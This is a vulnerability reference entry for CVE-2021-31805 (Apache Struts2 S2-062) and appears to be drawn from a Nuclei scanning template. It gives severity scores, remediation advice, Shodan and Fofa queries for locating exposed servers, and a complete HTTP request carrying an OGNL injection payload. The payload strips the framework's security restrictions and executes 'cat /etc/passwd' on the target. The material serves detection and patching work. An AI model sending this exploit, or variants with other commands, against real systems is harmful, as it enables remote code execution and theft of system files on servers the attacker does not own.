| Title | Apache Struts2 S2-062 - Remote Code Execution |
|---|---|
| Author | taielab |
| Severity | Critical |
| Impact | Remote code execution |
| Remediation | Avoid using forced OGNL evaluation on untrusted user input, and/or upgrade to Struts 2.5.30 or greater which checks if expression evaluation won't lead to the double evaluation. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93956 |
| CVE ID | CVE-2021-31805 |
| CWE ID | CWE-917 |
| Shodan Query | http.html:"apache struts"http.title:"struts2 showcase"http.html:"struts problem report" |
| Fofa Query | body="struts problem report"title="struts2 showcase"body="apache struts" |
| Tags | cve2021 cve apache rce struts struts2 intrusive vkev vuln |
Apache Struts2 S2-062 is vulnerable to remote code execution. The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag’s attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{…} syntax.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Content-Length: 1113
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Accept-Encoding: gzip
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31805.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-31805.pcap
N/AN/A